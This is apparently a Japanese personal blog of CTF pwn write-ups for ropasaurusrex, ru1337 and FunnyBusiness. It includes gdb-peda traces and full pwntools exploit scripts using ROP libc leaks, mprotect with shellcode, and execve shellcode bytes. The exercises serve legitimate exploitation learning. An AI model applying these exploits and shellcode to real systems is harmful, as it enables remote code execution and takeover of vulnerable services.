0008| 0xffffd078 ('a' <repeats 48 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0012| 0xffffd07c ('a' <repeats 44 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0016| 0xffffd080 ('a' <repeats 40 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0020| 0xffffd084 ('a' <repeats 36 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0024| 0xffffd088 ('a' <repeats 32 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0028| 0xffffd08c ('a' <repeats 28 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
[------------------------------------------------------------------------------]

canaryが無効になっている時点でもしかしたら、EIP取れてるのだろうか?と思いながら入力して実行させてみると案の定取れてた。なるほど、今回はこれを利用してROPさせるのかと攻撃方針を立てたが、ここで問題になるのがNXが有効になっていることだ。stack内実行が不可能であるため、shellcodeを起動させるにしても、mmapまたはmprotectでメモリの実行権限を変更させなければならない。
しかし、今回はこの二つの関数は一回も使われていないため、実行ファイル内の.pltには存在していない。そのため、どちらにせよlibc baseをleakさせないといけないため、system関数を起動させるのが良いと考えた。
しかし、どうやってleakさせればよいのだろうか?もう一回実行させてみよう。

shima@chino:~/workspace/pwn_list_easy/ropasaurusrex$ ./ropasaurusrex 
aaaaaa
WIN

入力した文字の次にWINの文字が出力されている。うーむ、入力と出力の二つをデバッガで追いかけてみようかな。

[-------------------------------------code-------------------------------------]
   0x8048405:   lea    eax,[ebp-0x88]
   0x804840b:   mov    DWORD PTR [esp+0x4],eax
   0x804840f:   mov    DWORD PTR [esp],0x0
=> 0x8048416:   call   0x804832c <read@plt>
   0x804841b:   leave  
   0x804841c:   ret    
   0x804841d:   push   ebp
   0x804841e:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xffffcfe0 --> 0x1 
arg[2]: 0x100 
[------------------------------------stack-------------------------------------]

[-------------------------------------code-------------------------------------]
   0x804842b:   mov    DWORD PTR [esp+0x8],0x4
   0x8048433:   mov    DWORD PTR [esp+0x4],0x8048510
   0x804843b:   mov    DWORD PTR [esp],0x1
=> 0x8048442:   call   0x804830c <write@plt>
   0x8048447:   leave  
   0x8048448:   ret    
   0x8048449:   nop
   0x804844a:   nop
Guessed arguments:
arg[0]: 0x1 
arg[1]: 0x8048510 ("WIN\n")
arg[2]: 0x4 
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0x1 
0004| 0xffffd074 --> 0x8048510 ("WIN\n")
0008| 0xffffd078 --> 0x4

 
gdb-peda$ x/100wx 0xffffcfe0
0xffffcfe0:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffcff0:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffd000:    0x61616161 0x61616161 0x61616161 0x61616161
0xffffd010:    0x61616161 0x61616161 0x61616161 0x080a6161
0xffffd020:    0xf7ffd938 0x00000000 0x000000c2 0xf7ea5376
0xffffd030:    0xffffffff 0xffffd05e 0xf7e1cc34 0xf7e432f3
0xffffd040:    0x00000000 0x08049604 0xffffd058 0x080482e8
0xffffd050:    0xffffd2e7 0x08049604 0xffffd088 0x08048479
0xffffd060:    0x08048460 0x08048340 0xffffd088 0x0804842b
0xffffd070:    0x00000001 0x08048510 0x00000004

WINという文字が格納されているアドレスの中身を表示するようになっていた。そしてここでひらめきを得た。「これってwrite関数に任意のアドレスを入れたら中身を表示してくれるのでは!?」つまり、今回は使われているGOTアドレスを入れて置き、その関数のlibcのoffsetを引いてあげればlibc baseが求まるので、任意の関数を呼ぶことができる!
stackの詳細は以下のようになっている。

0xffffd068 saved ebp
0xffffd06c saved eip
0xffffd070 write first arg
0xffffd074 write second arg
0xffffd078 write third arg

まず最初にeipのアドレスをwrite.pltに変更する。そして次にreturnアドレスだが、もう一回readとwriteをするユーザ関数を呼ぶ。こうすることでもう一回同じ動作をするのでこのときにsystem(/bin/sh)を呼ぶ。また、write関数の2番目の引数にGOTアドレスをleakさせるために適当なライブラリ関数のGOTを入れて、ユーザー側にwriteした値をoffsetから引く形をとり、libc baseをleakさせる。まとめると以下のようになる。

1回目
0xffffd068 saved ebp(適当)
0xffffd06c saved eip(write.plt)
0xffffd070 write first arg(1)
0xffffd074 return(readとwriteをするユーザ関数)
0xffffd078 write second arg(適当なGOTが分かっているライブラリ関数)
0xffffd07c write third arg(4)

2回目
0xffffd068 saved ebp(適当)
0xffffd06c saved eip(system)
0xffffd070 return(適当)
0xffffd074 system first arg(/bin/sh)

stackのアドレスはASLRで変わるため、暫定的な値を使っているが相対的には上記のような順番で格納される。saved ebpの手前までoverflowさせてから上記のような順番で格納すれば上手くいくはず。ちなみに手前までのoffsetは

gdb-peda$ p/x 0xffffd068-0xffffcfe0
$2 = 0x88

以上を踏まえて攻撃コードを組んでみる。こーどべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./ropasaurusrex')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./ropasaurusrex')
        print "[+] connect to local\n"

rw_fuc = 0x80483f4 # read and write user function
buffer_len = 0x88  # offset saved ebp

# first time rw_fuc leak libc base and set second rw_fuc
payload = ''
payload += '\x90' * buffer_len
payload += p32(0xdeadbeef)          # saved ebp
payload += p32(elf.symbols['write'])# saved eip
payload += p32(rw_fuc)              # write fuction return second time rw_fuc
payload += p32(1)                   # wirte fisrt arg stdout
payload += p32(elf.got['read'])     # write second arg send to user data
payload += p32(4)                   # write third arg len
conn.send(payload)

# get libc_base
read_libc = u32(conn.recv(4))
libc_base = read_libc - libc.symbols['read']

# sedond time rw_fuc set system(/bin/sh)
payload = ''
payload += '\x90' * buffer_len
payload += p32(0xdeadbeef)                              # saved ebp
payload += p32(libc_base + libc.symbols['system'])      # saved eip system
payload += p32(0xdeadbeef)                              # system return address
payload += p32(libc_base + next(libc.search('/bin/sh')))# system arg /bin/sh
conn.send(payload)

conn.interactive()

【総評】ROPは奥が深い。

29c3 CTF ru1337

pwn list pwn list easy

32bit-ELFのfork-server型の問題だった。今回は私的には初めてのexlpoitコードを書かないといけないということもあり、苦戦したが、何とか解けて良かった。今回の攻撃方法はshellcodeを送るのだが、少し問題があるそれは・・・

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

NXbitが立っているということが今回の肝心なところである。実行権限がついていない状態でスタートするため、shellcodeを送るだけでなく、mmapまたはmprotect関数を使ってメモリアクセス権限を変更してから、shellcodeを実行するようなexploitコードを作成しなければならないことを念頭に置いてから考えてみよう。ではさっそく、実行!…と思ったが、上手く実行できなかったため、デバッグしてみるとどうやら実行するときに引数が必要だった。引数はどうやらポートの番号として使われるようだった。今回は1024に引数を設定してから実行してみる。

shima@chino:~/workspace/pwn_list_easy/ru1337$ nc localhost 1024
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: aaaaaaaaaaaaaa
Password: aaaaaaaaaaaaaaaaaa
u r not s0 1337zz!!!

userとpasswordを聞かれて終了のような実行ファイルのようだ。入力部分に脆弱性があるようだ。しかし、目立つような脆弱性を入力の段階で見つけることができなかった。ということで仕方ないデバッグしよ。

EBP: 0xffffd038 --> 0xbadc008 --> 0x0 
ESP: 0xffffcf80 --> 0xbadc000 --> 0x0 
EIP: 0x8048992 (call   0x80485c0 <strcpy@plt>)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048988:   sub    edx,0xffffff80
   0x804898b:   mov    DWORD PTR [esp+0x4],edx
   0x804898f:   mov    DWORD PTR [esp],eax
=> 0x8048992:   call   0x80485c0 <strcpy@plt>
   0x8048997:   mov    eax,ds:0x804a070
   0x804899c:   lea    edx,[eax+0x8]
   0x804899f:   lea    eax,[ebp-0x94]
   0x80489a5:   mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0xbadc000 --> 0x0 
arg[1]: 0xffffd024 ("AAAAAAAA\b")
[------------------------------------stack-------------------------------------]

最初のuserを受け取るところだが、特に気になったのは、ASCII文字以外を受け付けないような処理をしていた。そのため、userに入る部分(8byte)はASCII文字を入れるようにしよう。そのあとでpasswordのrecvを行った後で上記のようなstrcpyの処理に入る。
最初のstrcpyはuserの値を入力するのだが、実は、もう一つ注目すべき部分があって、EBPの値がこちらの入力で書き換えることが可能であることが分かった。正確にはuserが格納されている先頭アドレス+0x14byte先にあるようだ。

[-------------------------------------code-------------------------------------]
   0x804899f:   lea    eax,[ebp-0x94]
   0x80489a5:   mov    DWORD PTR [esp+0x4],eax
   0x80489a9:   mov    DWORD PTR [esp],edx
=> 0x80489ac:   call   0x80485c0 <strcpy@plt>
   0x80489b1:   mov    eax,ds:0x804a074
   0x80489b6:   mov    DWORD PTR [esp+0x4],0x0
   0x80489be:   mov    DWORD PTR [esp],eax
   0x80489c1:   call   0x8048570 <dup2@plt>
Guessed arguments:
arg[0]: 0xbadc008 --> 0x8 
arg[1]: 0xffffcfa4 --> 0x90909090 
[------------------------------------stack-------------------------------------]

次はpasswordの受けとった文字列をuserをコピーした先から+8byteに格納する処理をしている。そのあとでsocketディスクリプタをdup2を行っているため、shellcodeを送る時にdup2またはconnect-backを行う必要はなさそうだ。strcpyを終わって直後の様子を下に示す

after strcpy stack
0xbadc000: 0x41414141 0x41414141 0x90909090 0xdb31c031
0xbadc010: 0x03b1c931 0x3fb0c9fe 0x80cd04b3 0xc031f675
0xbadc020: 0x2f2f6850 0x2f686873 0x896e6962 0x89c189e3
0xbadc030: 0xcd0bb0c2 0x40c03180 0xf70a80cd 0xf7ffd938
0xbadc040: 0x00000001 0x00000000 0x00000000 0x00000000
0xbadc050: 0x00000000 0x00000000 0x00000000 0x00000000
0xbadc060: 0x00000000 0x00000000 0x00000000 0x00000000
0xbadc070: 0x00000000 0x00000000

returnする直前に面白いものを見つけた。それを下に示す。

gdb-peda$ x/100wx $esp
0xffffd03c: 0x08048580  0x0badc008  0x0badc000  0x000000ff
0xffffd04c: 0x00000007  0x00000000  0x00000000  0xffffd098
0xffffd05c: 0x08048bdd  0x00000004  0x00000000  0x00000000
0xffffd06c: 0x08048c62  0x00000002  0xffffd134  0x00040002
0xffffd07c: 0x00000000  0xf7fbb3c4  0xf7ffd000  0x00000000

どうやら、userを最初に格納する場所から+18byteつまりEBPを書き換えれるアドレス+4byte先にreturnアドレスがあるようだ。
以上のことから今回の攻撃方針は以下のような方針で行く。

  • userの入力でEBPとmprotectを送ってEBPとreturnアドレスを書き換える。

  • 次のpasswordの入力でshellcodeを送る。

今回はEBPは直接関係はないため、適当な数値を入れても問題はない。
コードべちょー

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./ru1337')

host = 'localhost'
port = 1024
c = remote(host, port)

shellcode = asm(shellcraft.sh())
mprotect_addr = elf.plt['mprotect']
# mprotect(0xbadc000, 0xff, 7); return 0xbadc008
mprotect = p32(mprotect_addr) + p32(0x0badc008) + p32(0x0badc000) + p32(0xff) + p32(7)

user = ''
user += 'A' * 20         # padding
user += p32(0xdeadbeef)  # ebp store
user += mprotect         # return address

password = ''
password += '\x90'*4
password += shellcode
password += '\n'

c.recvuntil('User: ')
c.send(user + password)

c.interactive()

今回実行権限をつけるためにmprotect関数を使用したが、その範囲をuserがstrcpyされたところから0xffまでにした。mprotectが終わった時のreturnアドレスをpasswordがstrcpyされた先にすることでshellcodeが実行されるようにした(一応NOP sledさせた)
【総評】mprotect + shellcodeのやり方を覚える良い問題

Ghost in the Shellcode 2013 FunnyBusiness

pwn list pwn list baby

32bit-ELFのfork-server型問題で、脆弱性を見つけて攻撃をするんだが今回の場合は使用しているライブラリの動きを知ってうえで攻撃を行うような問題であり、面白かった。ライブラリ自身の脆弱性を見つけるわけではないが、ライブラリの使い方を分かっていなければ解くことができないような問題であったため、なかなか楽しめた問題だった。
さっそく実行して見たが、OSのuserにfunnybusinessが必要で、さらにgetpwnamを使っているためrootで実行する必要がある。
ユーザー側に何も表示されるわけでもなけではなかったため、仕方ないのでデバッグしながら動きを確かめることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : disabled
PIE       : disabled
RELRO     : Partial

shellcodeを実行するような形に持っていくような攻撃方法がよさそう。
とりあえず、GDBデバッグしてユーザーが入力した後の動きに着目したら、以下のような気になった部分があったため、まとめてみる。

  • 最初のrecvでsizeを決定する。

  • 次のrecvでsize分の文字列を送る。

  • 最後にinflateという関数を実行する。

  • inflate関数の戻り値が1であるときに正常終了(returnアドレスにいく)、それ以外はexit inflate関数とはなんだろう?と思って調べてみたら、どうやら、圧縮するような関数である。inflateInit() でどのような圧縮をするのかなどの初期設定をしたあとで、inflate関数で圧縮を実行する。inflateEndは正常終了の時にしかしていない。exitする時にはしていない。(メモリを確保する関係からしないといけないと思うけど…)とりあえず入力してから考えてみよう!

 [----------------------------------registers-----------------------------------]
EAX: 0xfffffffd 
EBX: 0x0 
ECX: 0x1 
EDX: 0x0 
ESI: 0x4 
EDI: 0xffffd68f ("AAAAAA\252\260\004\b1\300\061\333\061ɱ\003\376ɰ?\263\004̀u\366\061\300Ph//shh/bin\211\343\211\301\211°\v̀1\300@̀\b\211\216\004\b")
EBP: 0xffffd6d8 --> 0x0 
ESP: 0xffffd670 --> 0x804f0a0 --> 0xffffd691 ("AAAA")
EIP: 0x8048e59 (jne    0x8048e6c)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e4a:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e51:   call   0x8048660 <inflate@plt>
   0x8048e56:   cmp    eax,0x1
=> 0x8048e59:   jne    0x8048e6c
 | 0x8048e5b:  mov    DWORD PTR [esp],0x804f0a0
 | 0x8048e62:  call   0x8048710 <inflateEnd@plt>
 | 0x8048e67:  jmp    0x8048dd7
 | 0x8048e6c:  mov    DWORD PTR [esp],0x0
 |->   0x8048e6c:   mov    DWORD PTR [esp],0x0
       0x8048e73:   call   0x8048700 <exit@plt>
       0x8048e78:   nop
       0x8048e79:   nop   

適当に文字を入力して実行してみたが、どうやら戻り値が1以外になって強制終了するようになっている。どうやったら1になるのだろうか?
どうやら、成功したときにはZ_OKをかえすようになっているらしい。しかし、正確な数字がわからなかった。・・・うーん、つまり圧縮には成功していないということだろうか?
よくわからなかったので、write upを見た。すると攻撃コードを送る前に圧縮を行っていた。えぇ・・・(困惑)
とりあえず圧縮して送ってみることにする。すると・・・

 [----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x0 
ECX: 0x1 
EDX: 0x0 
ESI: 0x4 
EDI: 0xffffd68f --> 0xc010178 
EBP: 0xffffd6d8 --> 0x0 
ESP: 0xffffd670 --> 0x804f0a0 --> 0xffffd6a6 --> 0x0 
EIP: 0x8048e56 (cmp    eax,0x1)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e42:   mov    DWORD PTR [esp+0x4],0x4
   0x8048e4a:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e51:   call   0x8048660 <inflate@plt>
=> 0x8048e56:   cmp    eax,0x1
   0x8048e59:   jne    0x8048e6c
   0x8048e5b:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e62:   call   0x8048710 <inflateEnd@plt>
   0x8048e67:   jmp    0x8048dd7

飛ばないのか(困惑)とりあえず、そのあとの処理を見てみると正常終了につながっていた。returnする前に面白いものを見つけた。

[-------------------------------------code-------------------------------------]
   0x8048dd3:   mov    ebx,eax
   0x8048dd5:   je     0x8048df0
   0x8048dd7:   mov    eax,ebx
=> 0x8048dd9:   mov    esi,DWORD PTR [esp+0x24]
   0x8048ddd:   mov    ebx,DWORD PTR [esp+0x20]
   0x8048de1:   mov    edi,DWORD PTR [esp+0x28]
   0x8048de5:   add    esp,0x2c
   0x8048de8:   ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd670 --> 0x804f0a0 --> 0xffffd6a6 --> 0x0 
0004| 0xffffd674 --> 0x4 
0008| 0xffffd678 --> 0x17 
0012| 0xffffd67c --> 0x0 
0016| 0xffffd680 --> 0xffffd6d8 --> 0x0 
0020| 0xffffd684 --> 0xf7ff04c0 (pop    edx)
0024| 0xffffd688 --> 0x3e9 
0028| 0xffffd68c --> 0x78ffd6d8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048dd9 in ?? ()
gdb-peda$ x/20wx $esp+0x24
0xffffd694:    0x4141fff3 0x42424141 0x43434242 0x08144343

どうやらreturnする前にレジスタにユーザーが入力した値の一部を移動させるらしい。このとき、addでstackの中身を消すときにユーザーが入力した値の先頭から数えて7番目からreturnアドレスになることが分かった。ここをshellcodeのアドレスにして、あげればshellを起動させることができる。
しかし、肝心のshellcodeのアドレスはどこに置けばいいのだろう?今回はPIEが無効になっているため、.bssセクションにrecvでshellcodeを格納してrecvのreturnをbssセクションにしてshellcodeを実行させよう。
コードべちょー

import zlib
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./funnybusiness')
host = 'localhost'
port = 49681

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

recv_addr = elf.plt['recv']
bss_addr = 0x804b080
recv = p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

c = remote(host, port)
payload = ''
payload += 'AAAAAA'         # padding
payload += recv
compress_payload = zlib.compress(payload, 0)

c.send(p32(len(compress_payload)))
c.send(compress_payload)

c.send(shellcode)
c.interactive()

payloadを送る時にpaddingを6個入れてから7番目からreturnアドレスになるように調整しよう。そのあとで、payloadを圧縮してから送ってあげよう
【総評】圧縮してるのかしてないのかよくわかんない(困惑)